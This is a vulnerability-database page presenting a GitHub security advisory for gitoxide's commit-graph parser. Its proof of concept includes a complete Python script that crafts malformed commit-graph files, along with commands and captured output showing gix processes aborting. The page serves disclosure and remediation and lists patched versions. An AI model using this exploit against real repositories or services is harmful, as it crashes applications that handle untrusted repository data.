llamaCVEVulnerability Intelligence
/
Advisory · GitHub · crates.io · gix-commitgraph

GHSA-989C-XJ77-266R

gix's commit-graph parser trusts attacker-controlled parent positions and chunk lengths, so history-walking commands abort the process on crafted repositories

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
5.5
Media
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche el mismo día de la divulgación
Exposición30 dDesde la divulgación, 22 oct 2026, 9:01 a. m.
Detección27 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Parche en la próxima ventana y listo, campeón.Mi diagnóstico: un ticket y una sonrisa.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 0.42.0 +1
Monitoreo
Detectada +1
22 oct 26
18 nov 26
21 nov 26
22 oct 26
30 oct 26
6 nov 26
14 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-989C-XJ77-266R divulgada · CVSS 5.5 (GitHub)
Remediación Parche 0.42.0 gix-commitgraph · 0 d desde divulgación
Remediación Parche 0.61.0 gitoxide · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment.

The commit-graph reader that ships with gitoxide (`gix-commitgraph` crate, read by default when a repository contains `.git/objects/info/commit-graph`) parses the file without validating the two table fields that index into it: parent graph positions taken from the commit/edge tables are wrapped into `Position` values and used unchecked, and the length of the extended-edges (EDGE) chunk is accepted without the 4-byte alignment check applied to every other chunk. Both omissions route straight into `panic!`/`unwrap` calls in the index layer, so a crafted commit-graph file - which is plain repository data that ships with any cloned or zipped repository and requires no privilege to plant - makes every history-walking `gix` command abort the whole process: `gix merge-base` and `gix blame` both died with `panicked at gix-commitgraph/src/access.rs:88:9: graph position too large: 2147483647` (exit code 101) and an unwrapping panic in `gix-commitgraph/src/file/commit.rs:27:37` respectively, verified against the official v0.60.0 release binary, while upstream git examined the identical files and either failed with a clean one-line error (exit 128) or ignored the malformed edge data and listed history normally (exit 0). Because the same reader backs the `Repository::merge_base` and blame APIs, an application embedding gix to operate on untrusted repositories loses its host process the same way, which turns the flaw into a reliable denial of service for every consumer of attacker-supplied repository data.

Details

The commit-graph file format stores, per commit, the graph positions of its parents. The gix reader converts those raw 32-bit fields into position handles without ever comparing them against the number of commits the file declares, and the consuming side indexes directly into the commit table:

gix-commitgraph/src/file/commit.rs:141,151,187,189 (v0.60.0, identical on main 8dc7afdee)
    - Parents iterator wraps arbitrary CDAT/EDGE u32 values as Ok(Position), no < num_commits check
gix-revwalk/src/graph/commit.rs:14,99
    - consumer calls cache.commit_at(*pos) with the unchecked position
gix-commitgraph/src/access.rs:88
    - Graph::lookup_by_pos panics: "graph position too large: {}" on out-of-range positions

A second unvalidated length lives in the chunk-table loader: when the extended-edges list chunk is registered, its size is passed through unchecked, in contrast to the OIDF, OIDL and CDAT chunks whose sizes are validated as whole multiples of their record width:

gix-commitgraph/src/file/init.rs:136
    - EDGE chunk length taken with no alignment/width validation (other chunks are validated)
gix-commitgraph/src/file/commit.rs:26-28
    - read_u32 does try_into().unwrap(), a < 4-byte tail triggers TryFromSliceError
gix-commitgraph/src/file/commit.rs:161
    - the edge iterator walks the chunk in chunks(4), so a 4k+1 length yields a dangling 1-3 byte tail

Both paths end in a Rust panic, which aborts the process. The reader is wired into the default history commands: `gix merge-base` loads the commit-graph (`gitoxide-core/src/repository/merge_base.rs:24-25`) and `gix blame` does the same (`gitoxide-core/src/repository/blame.rs:31`), with commit-graph reading enabled by default. Upstream git validates exactly the fields gix skips: it rejects an out-of-range parent position with `fatal: invalid parent position` and tolerates a malformed edge pointer with a single `error:` line before continuing, so the differential on identical input is a clean error versus a process abort. As an amplifier, the loader checks only the length of the file trailer and never verifies the commit-graph checksum, so files mutated with a hex editor or any script load without obstruction. The latest tagged release v0.60.0 (2026-10-08) was verified with the official release binary, and the `gix-commitgraph` and `gix-revwalk` sources on main (8dc7afdee) are byte-identical to the tag apart from version-bump metadata, so no fixed release exists.

Proof of concept

The instance is the official `gitoxide-max` v0.60.0 release binary for x86_64-pc-windows-msvc, taken from the gitoxide v0.60.0 GitHub release page (`gix` reports `gix v0.60.0`), run against a plain local sample repository of three commits tracking a single `notes.txt` file, created and contrasted with Git for Windows 2.55.0.windows.4; no non-default repository configuration is involved, since gix reads `.git/objects/info/commit-graph` whenever the file exists. The crafting script below rewrites the commit-graph in place; save it next to the sample repository before running the command block.

cat > ../craft_commitgraph.py <<'EOF'
#!/usr/bin/env python3
"""Craft a commit-graph file whose CDAT parent positions exceed num_commits.

Variant A ('position'): every non-root commit's parent1 becomes an
out-of-range graph position (0x7FFFFFFF). Applied in place.

Variant B ('shortedge'): rebuild the file with an added EDGE chunk whose
length is not a multiple of 4 (one full edge + a 1-byte dangling tail) and
point every non-root commit's parent2 at that edge index.
"""
import struct
import sys

SENTINEL = b"\x00\x00\x00\x00"  # git's chunk-file TOC terminator (gix-chunk SENTINEL = [0u8; 4])


def parse(path):
    data = open(path, "rb").read()
    assert data[:4] == b"CGPH", "not a commit-graph file"
    hash_ver = data[5]
    hash_len = 32 if hash_ver == 2 else 20
    chunk_count = data[6]
    entries = []
    for i in range(chunk_count):
        e = 8 + 12 * i
        kind = data[e:e + 4]
        off = struct.unpack_from(">Q", data, e + 4)[0]
        entries.append((kind, off))
    sentinel_off = struct.unpack_from(">Q", data, 8 + 12 * chunk_count + 4)[0]
    return data, hash_len, chunk_count, entries, sentinel_off


def fanout_commits(data, toc):
    for kind, off in toc:
        if kind == b"OIDF":
            return struct.unpack_from(">I", data, off + 255 * 4)[0]
    raise SystemExit("no OIDF chunk")


def variant_position(path):
    data, hash_len, chunk_count, toc, _ = parse(path)
    data = bytearray(data)
    cdat = next(off for kind, off in toc if kind == b"CDAT")
    entry_size = hash_len + 16
    num_commits = fanout_commits(data, toc)
    import os
    print(f"[craft] hash_len={hash_len} chunks={chunk_count} num_commits={num_commits} CDAT@{cdat}")
    patched = 0
    for i in range(num_commits):
        p1_off = cdat + i * entry_size + hash_len
        p1 = struct.unpack_from(">I", data, p1_off)[0]
        print(f"[craft] entry {i}: parent1=0x{p1:08x}")
        if p1 != 0xFFFFFFFF:
            struct.pack_into(">I", data, p1_off, 0x7FFFFFFF)
            patched += 1
    print(f"[craft] patched {patched} parent1 fields to out-of-range position 0x7FFFFFFF")
    os.chmod(path, 0o644)
    open(path, "wb").write(bytes(data))
    print("[craft] wrote", path)


def variant_shortedge(path):
    data, hash_len, chunk_count, toc, sentinel_off = parse(path)
    data = bytearray(data)
    body_len = sentinel_off  # chunks span up to the sentinel offset
    num_commits = fanout_commits(data, toc)
    cdat = next(off for kind, off in toc if kind == b"CDAT")
    entry_size = hash_len + 16

    # order chunks by offset, compute their spans
    ordered = sorted(toc, key=lambda ko: ko[1])
    spans = []
    for idx, (kind, off) in enumerate(ordered):
        end = ordered[idx + 1][1] if idx + 1 < len(ordered) else body_len
        spans.append((kind, off, end))

    # EDGE content: one full 4-byte internal-edge record (no LAST mask, so the
    # iterator continues) + a 1-byte dangling tail
    edge_content = struct.pack(">I", 0) + b"\x41"

    header = bytearray(data[:8])
    header[6] = chunk_count + 1

    def toc_size(n):
        return 12 * (n + 1)

    # layout: header | TOC | chunks... | EDGE | trailer
    cursor = 8 + toc_size(chunk_count + 1)
    new_toc = bytearray()
    out_chunks = bytearray()
    for kind, off, end in spans:
        content = bytes(data[off:end])
        new_toc += kind + struct.pack(">Q", cursor)
        out_chunks += content
        cursor += len(content)
    new_toc += b"EDGE" + struct.pack(">Q", cursor)
    cursor += len(edge_content)
    new_toc += SENTINEL + struct.pack(">Q", cursor)

    out = bytearray(header) + new_toc + out_chunks + edge_content + data[body_len:body_len + hash_len]

    # point parent2 of every non-root commit at the extra-edge index 0
    patched = 0
    base = 8 + toc_size(chunk_count + 1)
    # recompute CDAT offset in new file
    cd_new = None
    cur = base
    for kind, off, end in spans:
        if kind == b"CDAT":
            cd_new = cur
        cur += end - off
    for i in range(num_commits):
        p1_off = cd_new + i * entry_size + hash_len
        p1 = struct.unpack_from(">I", out, p1_off)[0]
        if p1 != 0xFFFFFFFF:
            struct.pack_into(">I", out, p1_off + 4, 0x80000000)
            patched += 1
    print(f"[craft] EDGE chunk len={len(edge_content)} (4k+1); parent2=ExtraEdgeIndex(0) on {patched} commits")
    import os
    os.chmod(path, 0o644)
    open(path, "wb").write(bytes(out))
    print("[craft] wrote", path)


if __name__ == "__main__":
    mode, path = sys.argv[1], sys.argv[2]
    if mode == "position":
        variant_position(path)
    elif mode == "shortedge":
        variant_shortedge(path)
    else:
        raise SystemExit("mode must be 'position' or 'shortedge'")
EOF

cd ../sample-project
git commit-graph write --reachable                      # pristine graph from upstream git
git log --oneline                                       # baseline
gix log                                                 # baseline with gix
python ../craft_commitgraph.py position .git/objects/info/commit-graph
git log                                                 # CONTRAST: upstream git on the crafted graph
gix merge-base HEAD HEAD                                # victim command on the crafted graph

Captured output from the running v0.60.0 binary (verbatim; cmd/craft/verdict markers from the retained run log):

[cmd] git --version
git version 2.55.0.windows.4
[cmd] git commit-graph write --reachable (pristine graph)
[cmd] git log --oneline (baseline on pristine graph)
5889b11 finalize notes
a8c0fb5 extend notes
35040bc add notes
[cmd] gix log (baseline on pristine graph)
5889b110 finalize notes
a8c0fb59 extend notes
35040bc3 add notes
GIX_BASELINE_EXIT=0
[cmd] python ../craft_commitgraph.py position .git/objects/info/commit-graph
[craft] hash_len=20 chunks=4 num_commits=3 CDAT@1152
[craft] entry 0: parent1=0x70000000
[craft] entry 1: parent1=0x00000002
[craft] entry 2: parent1=0x00000000
[craft] patched 3 parent1 fields to out-of-range position 0x7FFFFFFF
[craft] wrote .git/objects/info/commit-graph
[cmd] git log (contrast on crafted graph: upstream git fails cleanly)
fatal: invalid parent position 2147483647
GIT_EXIT=128
[cmd] gix merge-base HEAD HEAD (victim command on crafted graph)

thread 'main' (15684) panicked at gix-commitgraph\src\access.rs:88:9:
graph position too large: 2147483647
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
GIX_EXIT=101
[verdict] PASS: on the same crafted repository, upstream git fails with a clean error (exit 128) while gix panics and aborts the process (exit 101): 'panicked at gix-commitgraph/src/access.rs:88: graph position too large: 2147483647'

=== PoC 1 supplement: additional victim command gix blame (the position variant is crafted again first, identical command to the one shown above) ===
[cmd] gix blame notes.txt (victim command on crafted graph)

thread 'main' (34892) panicked at gix-commitgraph\src\access.rs:88:9:
graph position too large: 2147483647
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
GIX_BLAME_EXIT=101
[verdict supplement] gix blame aborts with the same panic at gix-commitgraph/src/access.rs:88, confirming the gix-commitgraph panic is reachable from multiple CLI entry points

The second variant rebuilds the file with an EDGE chunk whose length is 5 bytes (one full 4-byte edge record plus a 1-byte dangling tail) and points the second parent of every non-root commit at that extended-edge index:

rm -f .git/objects/info/commit-graph && git commit-graph write --reachable
python ../craft_commitgraph.py shortedge .git/objects/info/commit-graph
git log                                                 # CONTRAST: upstream git on the crafted graph
gix merge-base HEAD HEAD                                # victim command on the crafted graph

Captured output from the running v0.60.0 binary (verbatim; cmd/craft/verdict markers from the retained run log):

[cmd] rm -f .git/objects/info/commit-graph && git commit-graph write --reachable (pristine graph)
[cmd] git log --oneline (baseline on pristine graph)
5889b11 finalize notes
a8c0fb5 extend notes
35040bc add notes
[cmd] python ../craft_commitgraph.py shortedge .git/objects/info/commit-graph
[craft] EDGE chunk len=5 (4k+1); parent2=ExtraEdgeIndex(0) on 3 commits
[craft] wrote .git/objects/info/commit-graph
[cmd] git log (contrast on crafted graph)
error: commit-graph extra-edges pointer out of bounds
error: commit-graph extra-edges pointer out of bounds
5889b11 finalize notes
GIT_EXIT=0
[cmd] gix merge-base HEAD HEAD (victim command on crafted graph)

thread 'main' (28992) panicked at gix-commitgraph\src\file\commit.rs:27:37:
called `Result::unwrap()` on an `Err` value: TryFromSliceError(())
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
GIX_EXIT=101
[verdict] PASS: on the same crafted repository, upstream git logs a clean error and lists history normally (exit 0) while gix panics and aborts the process (exit 101): "panicked at gix-commitgraph/src/file/commit.rs:27:37: called `Result::unwrap()` on an `Err` value: TryFromSliceError(())"

Output interpretation: on the first crafted file, upstream git rejects the impossible parent position with a one-line fatal error while gix lets the value flow into the index layer and aborts with the `graph position too large` panic; on the second, upstream git flags the malformed edge pointer and still lists the reachable history (the retained log shows that listing in truncated form; full listings on re-runs) while gix aborts in the edge iterator's `unwrap`. Thread ids and the sample commit messages are instance-specific; the differential, a clean error on the git side versus a process-aborting panic (exit 101) on the gix side for the same file, is the stable verdict.

Impact

Reachable panic leading to process abort (CWE-248): anyone who can supply a repository with a crafted `.git/objects/info/commit-graph`, for example a shared archive, a cloned bundle, or any directory a victim runs `gix` in, aborts every history-walking gix command the victim attempts (`merge-base`, `blame`, and the history-loading path behind them), and an application that embeds the corresponding gix APIs to process untrusted repositories has its host process killed by the same panic crossing the library boundary. The capability is a reliable denial of service of the consuming process; no memory disclosure or code execution is claimed. A fix is to validate every parent position against the declared commit count when the graph is loaded, require the EDGE chunk length to be a non-zero multiple of the 4-byte record width, and verify the file trailer checksum before use.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:L
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
6.4/ 10Medio
Vector 6.4 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
gix-commitgraph≤ 0.41.0
gitoxide≤ 0.60.0
0.41.0
0.42.0
0.60.0
0.61.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
crates.iogix-commitgraph
Corregida 0.42.0 0 d 0.42.0 no afectada
crates.iogitoxide
Corregida 0.61.0 0 d 0.61.0 no afectada
Versiones corregidas0.42.00.61.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-989c-xj77-266r

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.